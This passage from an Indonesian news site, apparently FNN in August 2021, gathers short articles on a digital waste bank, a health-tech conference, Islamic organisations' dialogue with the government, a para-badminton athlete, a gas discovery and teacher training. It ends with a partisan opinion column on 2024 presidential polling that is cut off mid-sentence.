Kedokteran dan Kesehatan, Fakultas Ilmu Pendidikan, Fakultas Ilmu Keperawatan, dan Fakultas Kesehatan Masyarakat. UMJ Juga memiliki Sekolah Pascasarjana yang memiliki sejumlah program magister, meliputi Magister Ilmu Hukum, Magister Studi Islam, Magister Manajemen, Magister Ilmu Administrasi, Magister Ilmu Komunikasi, Magister Akuntansi, Magister Kesehatan Masyarakat, dan Magister Ilmu Keperawatan plus Program Doktor Ilmu Agama Islam. UMJ sampai sejauh ini telah menghantarkan lebih dari 35.000 lulusan yang kini tersebar di berbagai instansi pemerintah dan swasta. Saat ini UMJ dipimpin oleh Dr Ma’mun Murod MSi sebagai rektor termuda yang pernah menjabat sebagai pimpinan UMJ. (mth)

Warga Palangka Raya Diminta Maksimalkan Bank Sampah Digital

Palangka Raya, FNN -Wali Kota Palangka Raya Fairid Naparin mengajak warga di Ibu kota Provinsi Kalimantan Tengah untuk dapat memanfaatkan secara maksimal keberadaan bank sampah digital yang baru saja diresmikan. "Kami baru saja meresmikan operasional bank sampah digital. Manfaatkan keberadaannya untuk memaksimalkan pengelolaan sampah yang ada," kata Fairid di Palangka Raya, Sabtu. Selain itu pemanfaatan bank sampah digital juga memberikan nilai ekonomi karena sampah yang dihasilkan masyarakat ditukar atau dibeli pengelola bank sampah. "Jadi bank sampah digital ini menjadi upaya pemerintah dalam memadukan penanganan dan pengelolaan sampah, layanan digital dan upaya meningkatkan ekonomi masyarakat di tengah pandemi," katanya. Saat ini Pemerintah Ibu Kota Provinsi Kalimantan Tengah telah mengoperasionalkan 50 bank sampah digital yang mana nantinya akan ditunjuk satu pengelola menjadi bank sampah induk dan sisanya menjadi bank sampah pendukung. Kepala Dinas Lingkungan Hidup (DLH) Kota Palangka Raya, Achmad Zaini mengatakan bank sampah digital tersebut merupakan salah satu inovasi pemerintah kota dalam mendekatkan layanan kepada masyarakat di tengah pandemi COVID-19. Dia menerangkan masyarakat dapat mengakses layanan bank sampah digital mengunduh aplikasi "Mountrash" di google play store secara gratis yang selanjutnya melakukan pendaftaran peserta sesuai arahan di aplikasi tersebut. Melalui aplikasi tersebut masyarakat menjadi mudah menyetorkan sampahnya dan bisa diambil langsung ke rumah oleh petugas Bank Sampah. Salah satunya adalah dapat menambah penghasilan karena saat menukarkan sampah akan mendapatkan imbalan berupa uang yang dikumpulkan dalam rekening yang dimiliki. Bank sampah digital yang juga bertujuan mengurangi jumlah sampah yang dikirim ke Tempat Pemrosesan akhir (TPA). Terlebih lagi saat ini sekitar 100 ton sampah dihasilkan warga Palangka Raya setiap harinya. Dwi Setyani warga Palangka Raya mengatakan keberadaan bank sampah digital tersebut cukup membantu dia bersama keluarganya dalam penanganan dan pengelolaan sampah rumah tangga. "Ada sejumlah sampah yang jika kita pilah bernilai ekonomi. Memang nilainya tidak seberapa tapi dari penjualan ke bank sampah itu kita bisa membayar iuran sampah lingkungan setiap bulan," kata ibu dua anak itu. Dia pun berharap pemerintah terus meningkatkan layanan bank sampah digital tersebut. Terlebih lagi jika nilai ekonomi dari hasil penjualan sampah juga dapat ditingkatkan. (mth)

HTS 2021 Momentum Perkuat Teknologi Kesehatan Nasional

Jakarta, FNN - Asosiasi Healthtech Indonesia yang diketuai dr. Gregorius Bimantoro pada 25-26 Agustus ini menggelar Health Technology Solution (HTS) 2021 secara daring yang diharapkan bisa menjadi momentum untuk memperkuat sektor teknologi kesehatan Indonesia. HTS merupakan sebuah ajang tahunan bagi para stakeholder industri kesehatan di antaranya pembuat kebijakan/regulator (pemangku kepentingan), produsen, operator dan tenaga professional sektor kesehatan. "Kementerian Kesehatan berharap kegiatan yang diadakan secara virtual ini dapat berjalan dengan baik dan dapat menjadi momentum untuk memperkuat sektor teknologi kesehatan di Indonesia," ujar Analis Kebijakan Ahli Utama Kementerian Kesehatan Republik Indonesia, drg. Oscar Primadi, MPH, selaku pembicara kunci, dalam siaran pers dikutip Sabtu. Direktur Pencegahan dan Pengendalian Penyakit Menular Kementerian Kesehatan RI, Dr. Siti Nadia Tarmizi, M.Epid, yang juga menjadi salah satu pembicara HTS 2021, menambahkan bahwa kegiatan ini akan semakin menguatkan respons bersama terhadap berbagai masalah kesehatan yang ada. Diharapkan sektor kesehatan di Indonesia memiliki posisi yang lebih baik untuk mencegah, mempersiapkan, merespons, dan memulihkan kembali dari pandemi COVID-19 serta berkontribusi dalam keamanan kesehatan secara nasional. HTS 2021 akan dibuka secara resmi oleh jajaran dan para petinggi Kementerian Kesehatan RI, Kementerian Komunikasi dan Infomatika RI, perwakilan DPR RI dari Komisi IX, asosiasi-asosiasi terkait, akademisi serta para pelaku industri Kesehatan. Acara ini akan menghadirkan beragam topik menarik di antaranya transformasi digital di masa pandemi COVID-19, monitoring kemajuan integrasi data di industri kesehatan, digitalisasi dan efisiensi rumah sakit yang lebih berkelanjutan, tantangan industri alat kesehatan (IOMT) di masa depan, privasi data kesehatan, dan beragam topik menarik lainnya. dr. Edi Alpino Siregar selaku Ketua Dewan Pengarah HTS 2021 mengatakan bahwa acara ini tidak hanya akan membahas solusi, tetapi juga memberikan beragam masukan dan pengetahuan seputar perkembangan teknologi kesehatan dan penerapannya di masa mendatang. Seluruh stakeholder sektor kesehatan di Indonesia termasuk perusahaan ternama penyedia teknologi dan solusi kesehatan bersama dengan 30 lebih pembicara nasional akan berdiskusi tentang topik terkini, mengeksplorasi pemikiran dan membahas teknologi serta solusi percepatan dalam penyediaan dan peningkatan layanan Kesehatan di Indonesia. (mth)

Ormas Islam Berharap Pemerintah Aktif Bangun Dialog dalam Hadapi COVID

Jakarta, FNN - Para pimpinan ormas Islam berharap agar pemerintah aktif membangun dialog dengan berbagai lapisan masyarakat, terutama dengan ormas-ormas Islam dalam menghadapi pandemi COVID-19. Hal itu mengemuka dalam dialog virtual Menko Polhukam Mahfud MD dengan 13 pimpinan ormas yang tergabung dalam Lembaga Persahabatan Ormas Islam (LPOI), pada Jumat malam (13/8). "Semoga semakin intens dan dijadwalkan pertemuan semacam ini. Semoga apa yang telah diupayakan pak Menko dan kita semua ormas-ormas Islam bisa terjalin hubungan yang lebih erat, lebih kompak di antara kita di dalam menghadapi pandemi," kata Presiden Lajnah Tanfidziyah Syarikat Islam Indonesia KH. Muflich Chalif Ibrahim kepada Menko Polhukam Mahfud MD, seperti dikutip dalam siaran persnya, Sabtu. Hal serupa ditegaskan oleh Ketua Umum Pengurus Besar Nahdlatul Ulama (PBNU) KH. Said Aqil Siradj. Menurutnya, penting sekali menjaga silaturahim dan persatuan nasional, antara lain dengan membangun dialog dengan ormas mengingat besarnya peran ormas Islam dalam ikut mendirikan negara. "Silaturahim diharapkan terus dilakukan selain daripada imbauan Alquran, juga untuk menjaga persatuan nasional," papar Said Aqil yang juga Ketua Umum LPOI. Kiai Said mencontohkan berbagai pertikaian yang terjadi di kawasan Timur Tengah, antara lain karena di negara-negara itu tidak ada ormas yang besar, yang bisa mempersatukan umat. "Di Indonesia, alhamdulillah kita memiliki ormas-ormas Islam yang punya peran penting, tidak hanya ikut mendirikan negara, tapi juga menguatkan dan mempersatukan umat dan anak bangsa dari berbagai latar belakang partai politik yang berbeda," ujarnya sembari mengingatkan pemerintah bahwa sila keadilan sosial bagi seluruh rakyat Indonesia masih menjadi tantangan yang harus diselesaikan secara bersama. Pimpinan ormas Ikatan Dai Indonesia (IKADI) Khairan Muhammad Arif meminta pemerintah terbuka menerima masukan dan kritik. "Kritik dalam negara demokrasi adalah sesuatu yang niscaya, tinggal bagaimana pemerintah merespons kritik ini. Kritik itu juga bisa muncul dari rasa sayang setiap anak bangsa kepada pemerintah," jelas Khairan. Tuan Guru Bajang Muhammad Zainul Majdi yang juga Ketua Umum Nahdlatul Wathan Diniyah Islamiyah (NWDI) menyoroti khusus soal komunikasi publik pemerintah, baik dari segi subtansi maupun pihak yang menyampaikan pesan. Ia meminta Menko Mahfud tampil membenahi komunikasi publik pemerintah agar tidak terjadi kesalahpahaman di tengah-tengah masyarakat. Figur Mahfud, lanjut TGB, sangat dibutuhkan dalam menyampaikan pesan dari pemerintah. Menurut mantan Gubernur NTB itu, sosok Mahfud MD memiliki kredensial dan relatif banyak diterima berbagai kalangan. "Saya berharap pak Menko lebih rajin untuk memberikan 'kalimatul fasl', memberikan kejelasan-kejelasan bukan sekadar penjelasan. Menurut saya, bapak adalah orang yang punya kredensial untuk itu, jadi mohon pak, untuk terus menyampaikan kejelasan-kejelasan kepada masyarakat," tambah TGB. Dia berharap Menko Mahfud tidak kehilangan kesabaran untuk terus menjelaskan kepada masyarakat kebijakan-kebijakan pemerintah, baik kepada yang pro terhadap pemerintah maupun bagi mereka yang sering mencela pemerintah. "Saya mengajak pak Menko yang sudah terus menerus melakukan ini, untuk menyebarkan gelombang ini diseluruh teman teman di pemerintahan. Kita semua apresiasi, diperkuat komunikasi yang ikhlas, dalam arti menempatkan yang sama dan membuka komunikasi untuk semua," ujarnya. Pernyataan TGB didukung oleh pimpinan ormas Al-Ittihadiyah, Lukmanul Hakim. Figur Menko Polhukam, kata Lukmanul, merepresentasikan basis dari keormasan. "Barangkali mungkin setiap hal atau kasus-kasus yang utamanya terkait dengan wilayah bapak, kami sangat berharap bapak tampil menjadi solusi, dengan memberikan informasi yang jelas dan terang sehingga bisa diterima masyarakat," ujar Lukmanul. Mendengar masukan para pimpinan ormas Islam ini, Menko Polhukam Mahfud MD mengaku telah mencatat semua masukan, kritik, dan saran untuk menjadi salah satu pertimbangan kebijakan pemerintah ke depan. Kepada para pimpinan ormas Islam ini, Mahfud menjelaskan dalam berbagai kesempatan sering kali agama dijadikan alat untuk menolak kebijakan pemerintah. Oleh karena itu, dirinya intens melakukan safari virtual ke ormas keagamaan, pimpinan pesantren, dan para tokoh lintas agama untuk mendengar berbagai keluhan dan masukan sekaligus memberikan penjelasan atas kebijakan pemerintah yang kerap menjadi pertanyaan masyarakat. Untuk diketahui, ormas yang tergabung dalam LPOI adalah ormas yang sebagian besar lahir sebelum Indonesia merdeka, di antaranya Nahdlatul Ulama (NU), Persatuan Islam, dan Al-Irsyad Al-Islamiyah. Ada pula Mathlaul Anwar, Al Ittihadiyah, Persatuan Islam Tionghoa Indonesia, IKADI, Syarikat Islam Indonesia, Al-Washliyah, Persatuan Tarbiyah Islam (PERTI), Persatuan Ummat Islam (PUI), HBMI, dan Nahdatul Wathan. (mth)

Profil Atlet Paralimpiade: Khalimatus Sadiyah Kebal Cemohan Demi Juara

Jakarta, FNN - Cabang olahraga parabadminton untuk pertama kalinya di pertandingkan di Paralimpiade mendorong Komite Paralimpiade Nasional Indonesia (NPC) menurunkan atlet terbaiknya di Tokyo 2020. Dari tujuh atlet nasional yang diturunkan, Khalimatus Sadiyah menjadi salah satu ujung tombak Indonesia untuk bersaing di cabang parabadminton Paralimpiade Tokyo 2020. Atlet berusia 22 tahun asal Mojokerto, Jawa Timur itu akan turun di dua nomor yaitu tunggal putri (SL4) dan ganda putri (SL3-SU5) dalam ajang yang akan berlangsung pada 24 Agustus-5 September itu. Alim, panggilan akrab atlet kelahiran 17 September 1999 ini, sudah mulai berlatih badminton sejak kelas lima SD di Bendo Sport Mojosari. Namun sebelum mantap di bulu tangkis, Alim sebetulnya ingin menjadi atlet voli atau sepak bola. Peran keluarganya lah yang membuat Alim memutuskan untuk bermain bulu tangkis hingga sekarang. Selain itu, saat awal merintis karir bulu tangkis mulanya bersikukuh ingin berlatih dan bermain pada kategori normal karena optimistis bisa bersaing dengan atlet pada umumnya. Pada masa kecil hingga remaja, Alim kerap mendapat cemoohan dan dianggap sebelah mata oleh teman-temannya. Namun hal itu dia jadikan motivasi untuk mencetak prestasi dan menunjukkan bahwa keterbatasan bukan halangan untuk berkarya. "Kenali potensi dirimu, buatlah orang mengenalmu karena kelebihanmu dan bukan kekuranganmu," kata Alim seperti dilansir di laman resmi NPC Indonesia. Menurut dia, setiap orang punya kekurangan dan kelebihan masing-masing. Oleh karenanya tidak apik rasanya jika hanya fokus pada kekurangan tanpa mengasah kelebihan yang dipunyai. Keinginan kerasnya juga tercermin pada tingkat disiplinnya yang tinggi saat berlatih. Jika orang tuanya tidak bisa mengantar ke tempat latihan, Alim tanpa ragu akan berangkat sendiri menggunakan sepeda onthel meski cuaca hujan sekali pun. Pada perkembangannya dia mendapat tawaran dari Dinas Pemuda dan Olahraga Jawa Timur untuk mengikuti kejuaraan Pekan Paralimpiade Pelajar Nasional (Paperpenas) ke-VI tahun 2013 di Jakarta dan memboyong medali emas dari nomor tunggal putri untuk provinsinya. Sejak saat itu Alim pun mulai bertanding di kategori tunggal putri SL4. Kiprahnya dalam parabadminton menuai beragam prestasi hingga tingkat dunia. Berdasarkan data resmi Federasi Parabadminton Dunia (Para-BWF), Alim menduduki peringkat tujuh dunia di sektor tunggal putri SL4. Sedangkan pada ganda putri SL3-SU5 yang berpasangan dengan Leani Ratri Oktila, Alim menduduki peringkat satu dunia. Bersama Ratri, Alim pernah mengharumkan nama Indonesia dengan meraih medali emas ganda putri SL3-SU5 di ajang Asian Paragames 2018. Jelang Paralimpiade Tokyo 2020, Alim bersama timnas parabadminton menjalani pemusatan latihan nasional (pelatnas) di Kota Solo, Jawa tengah. Berdasarkan keterangan resmi di laman NPC Indonesia, timnas parabadminton Indonesia membangun semangat tanding yang tinggi. Tim pelatih juga terus melakukan inovasi melalui berbagai metode dan strategi latihan khusus. Berikut prestasi internasional lainnya: Medali emas - Ganda putri SL3–SU5 China Para Badminton International 2019 - Ganda putri Forza Iris Para Badminton International 2019 - Ganda putri SL3–SU5 Canada Para Badminton International 2019 - Ganda putri SL3–SU5 Fazaz Dubai Para Badminton International 2019 - Ganda putri SL3–SU5 Turkish Para Badminton Internasional 2019 Medali perak - Ganda putri SL3–SU5 Kejuaraan Dunia Parabadminton BWF, Swiss 2019 Medali perunggu - Ganda campuran SL3–SU5 Fazaz Dubai Para Badminton International 2019 - Tunggal putri Turkish Para Badminton International 2019 (mth)

Anggota DPR Terkejut Ada Warga Negara China Jadi Buruh Pabrik

Purwakarta, FNN - Anggota DPR RI Dedi Mulyadi terkejut menemukan seorang Warga Negara Asing (WNA) asal China yang bekerja menjadi pencatat keluar-masuk barang dan mobil di salah satu pabrik di wilayah Kabupaten Purwakarta, Jabar. ”Saya heran, karena seharusnya WNA itu bekerja di tenaga terampil,” kata Dedi dalam sambungan telepon seluler di Karawang, Sabtu, 14 Agustus 2021. Keberadaan WNA asal China itu ditemui saat Dedi akan menjumpai kembali warga Kecamatan Sukasari yang hutan bambunya dibabat oleh orang mengaku memiliki izin perhutanan sosial untuk dijadikan kebun pisang. Di perjalanan Dedi melihat sebuah truk semen besar yang melintas. Rupanya truk tersebut menuju ke pabrik hebel yang berada di jalur Maracang-Babakan Cikao. Akhirnya, ia menuju ke pabrik tersebut untuk meminta penjelasan. Sesampainya di lokasi, Dedi bertemu dengan dua orang pria penjaga yang bertugas mencatat keluar masuk barang dan mobil. Salah satu pria tersebut rupanya seorang WNA China yang mengaku bernama Lauchen. WNA tersebut tidak bisa menjawab pertanyaan Dedi yang menanyakan siapa penanggung jawab pada perusahaan itu. Ia mengaku hanya tahu bosnya bernama Tayo yang juga seorang WNA China dan sedang pulang ke negara asalnya. Atas temuan itu, Dedi langsung berkoordinasi dengan Kepala Dinas Tenaga Kerja dan Transmigrasi Titov Firman. Dedi menanyakan apakah boleh dan lazim seorang WNA bekerja menjadi petugas pencatat keluar masuk barang dan mobil di sebuah perusahaan. Karena semestinya WNA itu bekerja sebagai tenaga terampil. Atas temuan dan laporan itu, Titov mengaku akan menindaklanjutinya, agar ada kejelasan mengenai WNA China yang bekerja di pabrik hebel tersebut. (MD).

Jayawijaya Dukung Suksesnya PON Papua

Wamena, FNN - Pemerintah Kabupaten Jayawijaya, Provinsi Papua mendukung suksesnya PON Papua, walaupun Jayawijaya tidak menjadi tuan rumah pesta olahraga multi cabang yang akan berlangsung di Kota Jayapura, Kabupaten Jayapura, Mimika, dan Merauke itu. Bupati Jayawijaya Jhon Richard Banua di Wamena, Ibu Kota Kabupaten Jayawijaya, Sabtu, mengatakan nantinya Jayawijaya hanya disingahi tim Kirab Api PON Papua. "Intinya kami dari Pemerintah Jayawijaya siap menyukseskan pelaksanaan Kirab Api PON XX ini," katanya. Berdasarkan hasil rapat Pemerintah Jayawijaya bersama Panitia PON, Jayawijaya ditunjuk mewakili Wilayah Adat Lapago untuk disingahi tim Kirab Api PON. "Sehingga kami akan menindaklanjuti dengan membentuk panitia atau tim di Jayawijaya untuk mempersiapkan apa yang diminta oleh Tim PON untuk kirab api obor PON," katanya. Jhon memastikan akan dilakukan penyambutan tim kirab api PON dari Bandara Wamena dan selanjutnya menuju ke beberapa titik di Jayawijaya. "Usai turun di Bandara Wamena, akan diarak melalui jalan Trikora - Pattimura - Jalan Irian - Sinakma dan Yosudarso dan finis di Kantor Otonom Jayawijaya. Di sana akan disiapkan berbagai festival budaya dari Wilayah Adat Lapago untuk dipublikasikan," katanya. Sebelumnya Panitia PON XX Bidang Upacara Samuel Yabes Nenobais mengatakan kirab api PON akan diarak melalui lima wilayah adat Papua dan Jayawijaya menjadi satu perwakilan dari lima adat itu. Rencananya kirab api PON Papua tiba di Wamena pada 29 September mendatang. (mth)

Plt Gubernur Sulsel: Komoditi Pertanian Masih Jadi Primadona

Makassar, FNN - Plt Gubernur Sulsel Andi Sudirman Sulaiman mengatakan, komoditi pertanian masih jadi komoditi primadona Sulawesi Selatan dengan mengandalkan kakao dan rumput laut. Hal itu dikemukakan Sudirman disela kegiatan "Merdeka Ekspor" yang digelar secara serentak dari 17 pintu pelabuhan dan digelar secara virtual, Sabtu. Pada kesempatan itu, Sudirman mengatakan komoditi pertanian Sulsel terus meningkat mengejar komoditi pertambangan. "Sebentar lagi komoditi sektor pertanian menyamai komoditi pertambangan Sulsel, karena sejumlah inovasi pertanian terus digalakkan," katanya. Khusus pengiriman komoditi ke sejumlah negara kali ini diantaranya Cina, Singapura dan beberapa negara Eropa. Pada kegiatan Ekspor Merdeka yang digelar Kementerian Pertanian dan Karantina Pertanian di 17 daerah ini disaksikan langsung Presiden Joko Widodo yang meresmikan pelepasan ekspor tersebut secara virtual dari Bogor. Sementara itu, Menteri Pertanian H Syahrul Yasin Limpo mengatakan, ekspor merupakan faktor kunci untuk mendorong pertumbuhan ekonomi. Berkaitan dengan hal tersebut, maka Kementan berupaya mendorong ekspor, mempercepat produk pertanian yang banyak jenisnya dan menggerakkan kabupaten/kota untuk melakukan ekspor. "Melalui Gerakan Ekspor 3x lipat ini, kami optimistis dapat membantu ekonomi nasional bangkit kembali," katanya. (mth)

SKK Migas Laporkan Temuan Cadangan Gas di Sulawesi Tengah

Jakarta, FNN - SKK Migas melaporkan adanya temuan cadangan hidrokarbon berupa gas dari pengeboran sumur eksplorasi, yang dilakukan PT Pertamina (Persero), di Blok West Penyu-001, Desa Samalore, Kecamatan Toili, Kabupaten Banggai, Sulawesi Tengah. "KKKS (Pertamina) akan melakukan evaluasi data hasil lapangan untuk memastikan besaran cadangan di kawasan tersebut," kata Kepala Divisi Pengeboran SKK Migas Surya Widyantoro dalam keterangan yang dikutip di Jakarta, Sabtu. Surya mengatakan temuan itu telah meningkatkan rasio keberhasilan pengeboran sumur eksplorasi konvensional di Indonesia pada tahun ini menjadi sebesar 75 persen. SKK Migas mengusulkan evaluasi temuan tersebut merujuk data seismik tiga dimensi Pesut Mas yang diakuisisi pada 2019 lalu, kemudian diusulkan pula untuk mengonfirmasikan keberadaan hidrokarbon pada batu gamping formasi Minahaki berumur Miosen Tengah. Saat ini, sumur West Penyu-001 sedang mempersiapkan proses penutupan sumur dan diperkirakan rig pengeboran akan meninggalkan lokasi pada 17 Agustus 2021. Selanjutnya, sumur tersebut akan dilakukan evaluasi perhitungan sumber daya berdasarkan hasil pengeboran yang dilakukan oleh Pertamina. Secara keseluruhan, sejak Januari hingga pertengahan Agustus 2021, kontraktor kontrak kerja sama (KKKS) telah melakukan 15 pengeboran sumur eksplorasi dengan status sembilan sumur telah menyentuh kedalaman akhir dan enam sumur lainnya masih dalam tahap pengeboran. Terdapat enam sumur yang mendapatkan temuan dari kegiatan pengeboran hingga kedalaman akhir tersebut, yakni sumur Hidayah-1 di Blok North Madura II, yang dikelola Petronas, menemukan cadangan minyak; sumur Fanny di Blok Offshore South East Sumatra, yang dikelola PHE OSES, menemukan cadangan gas; dan sumur MSDE-01 di Blok Malacca Strait oleh MP Malacca, yang menemukan gas. Selanjutnya, sumur Maha-2 di Blok West Ganal, yang dikelola Eni West Ganal, menemukan cadangan gas dan sumur Pakuaji-2 di South Jambi B, yang dikelola oleh Jindi (South Jambi), menemukan cadangan gas. Kemudian, terakhir, temuan, yang dilaporkan Pertamina melalui anak usahanya PT Pertamina Eksplorasi dan Produksi, di Blok West Penyu-001. "Pada 2021, kami berencana mengebor 40 sumur eksplorasi. Semoga kami menemukan cadangan-cadangan baru pada kegiatan pengeboran lain," ujar Surya. (mth)

Kemnaker Apresiasi Dedikasi dan Loyalitas Atnaker

Jakarta, FNN - Kementerian Ketenagakerjaan (Kemnaker) RI mengapresiasi tujuh atase Ketenagakerjaan (atnaker) yang telah memberikan dedikasi, loyalitas dan kinerja positif selama menjalankan tugas di negara penempatan. "Saya rasa banyak unit yang sangat membutuhkan informasi dan pengalaman para atnaker ketika mengatasi isu ketenagakerjaan sebagai dasar-dasar untuk perbaikan kebijakan program maupun kegiatan yang dilakukan unit kerja di Kemnaker," kata Sekretaris Jenderal (Sekjen) Kemnaker Anwar Sanusi dalam keterangan di Jakarta, Sabtu. Tujuh Atnaker tersebut adalah Atnaker Riyadh, Arab Saudi, Sa'dullah, Decky Haedar Ulum (Kedutaan Besar Republik Indonesia atau KBRI Abu Dhabi di Uni Emirat Arab), Budhi Hidayat Laksana (KBRI Kuala Lumpur di Malaysia), Budi Wikaningtyas (KBRI Bandar Seri Begawandi Brunei Darussalam), Alamsyah (KBRI Kuwait) dan Rosinna Manullang (KBRI Seoul di Republik Korea) dan Hadi Suseno (KBRI Amman di Jordania). Dua Atnaker yakni Suseno Hadi dan Alamsyah akan pindah tugas ke KBRI Riyadh di Arab Saudi dan Alamsyah menempati posisi baru di KBRI Abu Dhabi di Uni Emirat Arab. Sekjen Kemnaker Anwar menuturkan pengalaman dan pengetahuan para Atnaker selama bertugas di negara penempatan diharapkan dapat disumbangkan kepada unit-unit di lingkungan Kemnaker yang membutuhkan. Ia meyakini para Atnaker yang telah mengabdi di negara penempatan akan menjadi tim baru dan akan memberikan sesuatu yang baru bagi unit-unit di Kemnaker. Anwar berharap ke depan Kemnaker memiliki pola karir sistem yang sangat baku dan yang menunjukkan adanya prestasi kerja atau kinerja dengan tingkat jabatan atau promosi yang akan diemban atau diberi mandat. "Sehingga ini akan memacu siapapun untuk memotivasi diri agar bisa bekerja sebaik-baiknya," ujarnya Kepada Atnaker yang akan berpindah tugas ke negara penempatan, Anwar berpesan agar meneruskan kebaikan-kebaikan dan kebijakan yang dilakukan Atnaker sebelumnya. "Karena mereka pernah memiliki pengalaman sebelumnya sebagai Atase, dia akan bisa berkarya lagi lebih baik berdasarkan pengelaman-pengalaman yang pernah dilakukan sebelumnya, " tuturnya. Atnaker Suseno memberikan apresiasi atas kepercayaan dan perhatian Kemnaker untuk menjadikannya sebagai Atnaker di Riyadh, Arab Saudi. Ia mengaku siap memberikan kontribusi positif bagi negara di negara penempatan baru di Riyadh, Arab Saudi. "Kami berkomitmen untuk terus bisa berkontribusi yang terbaik pada Kementerian baik saat bertugas di perwakilan maupun setelah kembali lagi ke tanah air," tuturnya. Sementara Sa'dullah mengucapkan selamat menjalankan tugas kepada Suseno Hadi sebagai pengganti dirinya sebagai Atnaker di Riyadh. "Selamat melanjutkan tugas-tugas yang belum terselesaikan selama kami menjalankan tugas. Kami akan siap bekerja sama dan membantunya," ujarnya. (mth)

Billy Mambrasar Apresiasi Program Pelatihan Mengajar Secara Digital

Jakarta, FNN - Staf Khusus Presiden Joko Widodo Billy Mambrasar mengapresiasi program pelatihan mengajar melalui platform daring. Billy dalam siaran pers yang diterima di Jakarta, Sabtu, mengatakan program Cakap Teacher Academy diharapkan dapat mematangkan kemampuan pembelajaran para guru dan pengajar secara digital. "Kami berharap Cakap Teacher Academy dapat menjadi wadah bagi guru dan pengajar untuk mematangkan kemampuan pembelajaran secara digital.” kata Billy. Dia mengatakan Indonesia saat ini tengah menghadapi berbagai tantangan di sistem pendidikan, termasuk dalam suplai guru dan adaptasi pembelajaran digital. Berdasarkan data statistik tahun 2019 hingga 2020, tercatat bahwa Indonesia memiliki 2,7 juta guru. Sementara jumlah murid mencapai 45,5 juta orang. Menurut dia, diperlukan inovasi-inovasi yang dapat membuka ruang bagi masyarakat untuk memiliki kesempatan menjadi tenaga pengajar atau guru. "Oleh karena itu, ini menjadi angin segar bagi Indonesia mengetahui Cakap menginisiasi program yang dapat memberikan kesempatan bagi masyarakat untuk menjadi guru," kata CEO dari Yayasan Kitong Bisa itu. Program Cakap Teacher Academy dirancang sebagai solusi platform digital untuk meningkatkan kompetensi guru dalam pembelajaran digital melalui pelatihan bersertifikat, pengembangan diri, dan karir di ekosistem Cakap. Program itu bertujuan memberdayakan guru Indonesia untuk berkontribusi dalam pengembangan SDM di Indonesia. Program akan dimulai dengan pelatihan pengajaran bahasa Inggris. Ke depan, akan dikembangkan untuk pelatihan mengajar pada berbagai topik pembelajaran lainnya. "Kami percaya bahwa utamanya prinsip dari perbaikan pendidikan di Indonesia harus dilakukan secara menyeluruh, baik bagi murid maupun pengajar. Hari ini Cakap hadir membawa program Cakap Teacher Academy sebagai solusi percepatan kompetensi pengajar bahasa Inggris dengan pembelajaran digital," kata CEO dan Co-Founder Cakap Tomy Yunus. Cakap Teacher Academy akan membawakan dua kompetensi utama, yaitu teknik pengajaran komunikatif dan penggunaan teknologi melalui Cakap interactive self-paced learning. Kurikulum disusun berdasarkan pengalaman pembelajaran daring selama lebih dari enam tahun di Cakap yang dikombinasikan dengan praktik terbaik dalam pengajaran bahasa. "Dengan begitu, program ini akan relevan bagi mereka yang baru akan terjun ke dunia pengajaran maupun mereka yang telah berpengalaman namun ingin memperbaharui kemampuan mengajarnya," kata Senior Education Manager Cakap Yoshua Yanottama. Lebih lanjut, Cakap Teacher Academy merupakan program beasiswa dan diperuntukkan bagi setiap masyarakat yang memiliki minat mengajar. Selain meningkatkan kompetensi guru, program itu juga akan memberikan dampak yang lebih luas, seperti akses pelatihan untuk mendapatkan peluang pekerjaan. Peserta pada program ini akan diberikan sertifikasi yang diakui oleh Badan Nasional Sertifikasi Profesi (BNSP). Di akhir program, lulusan dari Cakap Teacher Academy akan mendapatkan kesempatan untuk direkrut menjadi Mitra Cakap, juga memberikan kesempatan untuk komunitas lokal memperoleh pendapatan tiga kali lebih tinggi dari rata-rata pendapatan guru. Kepala Subdirektorat Edukasi II Direktorat Pengembangan SDM Kementerian Pariwisata dan Ekonomi Kreatif Jemmy Alexander menilai dengan adanya pelatihan bagi guru bahasa Inggris akan meningkatkan kualitas serta kuantitas pengajar. "Dalam industri pariwisata dan ekonomi kreatif, masyarakat pun semakin banyak mendapatkan akses untuk belajar bahasa Inggris, bersama dengan ini juga memungkinkan untuk menjembatani kebutuhan pemain sektor pariwisata UMKM sehingga mereka dapat belajar bahasa Inggris dengan baik dengan guru yang juga merupakan lulusan dari Cakap Teacher Academy," kata Jemmy. Pendaftaran Cakap Teacher Academy akan dibuka pada 17 Agustus 2021. Angkatan pertama akan mulai menjalani bimbingan, pelatihan, dan sertifikasi di bulan Oktober 2021. Informasi mengenai Cakap Teacher Academy dapat diakses di laman https://cakap.com/teacher-academy/. (mth)

Ganjar Melambung Jokowi Menggantung Mega Bingung

By M Rizal Fadillah HASIL survei Charta Politika tentang elektabilitas 10 tokoh menempatkan Ganjar Pranowo pada peringkat tertinggi dengan 20,6% disusul Anies Baswedan 17,8% dan Prabowo 17,5%. Sementara Puan Maharani 1,4% dan Airlangga Hartarto 1,0% berada di urutan 9 dan 10. Tingginya angka dan posisi Ganjar membuat publik bertanya tentang skenario yang sedang dijalankan. Sebenarnya Ganjar tidak sekuat Anies baik popularitas maupun elektabilitasnya, namun survei dapat diatur sehingga Ganjar dibuat melejit dan harus menggeser Anies. Realitas geo-politik sesungguhnya dimenangkan Anies sebagai Gubernur DKI. Dalam survey ini Ganjar adalah mainan Jokowi dan tentu saja Presiden memiliki segala daya untuk mampu memainkan. Jokowi untuk dapat menjabat tiga periode bukanlah hal yang mudah. Melawan arus aspirasi, opini, atau moralitas politik. Pilihan pragmatis adalah mencari figur yang dapat menjadi kepanjangan tangannya. Presiden wajar jika awal menimbang Luhut, Moeldoko atau Ganjar Pranowo. Dua purnawirawan Luhut dan Moeldoko tidak berbasis partai, sedangkan Ganjar adalah kader PDIP partai pemenang Pemilu. Pilihan pada Ganjar setelah melihat Luhut memiliki seribu kerentanan dan Moeldoko gagal mengkudeta Partai Demokrat. Ganjar diharapkan bisa membelah PDIP dan memproteksi Jokowi pasca lengsernya. Karenanya Ganjar harus terus dibuat melambung. Agenda Jokowi mudah dibaca oleh PDIP yang menggadang-gadang Puan untuk manggung. Petugas partainya ini mulai menjadi anak durhaka. Jika permainan berlanjut maka jarak Megawati “God Mother” dengan Jokowi “God Father” akan semakin tidak “Good”. Jokowi yang dilepas PDIP akan berposisi menggantung. Tidak berkaki lagi. Masalahnya kini Megawati tentu bingung. Sang Puteri Puan Maharani yang dicoba didongkrak habis dengan alat baliho menghadapi kecaman masyarakat. Survey pun sengaja dibuat pula agar jarak semakin menjauh dari sang pesaing Ganjar Pranowo. Surat DPP PDIP No 3134 tanggal 11 Agustus 202 menegaskan tentang hak prerogatif Megawati dan meminta kader untuk menghentikan pembicaraan soal Presiden/Wakil Presiden. Ada 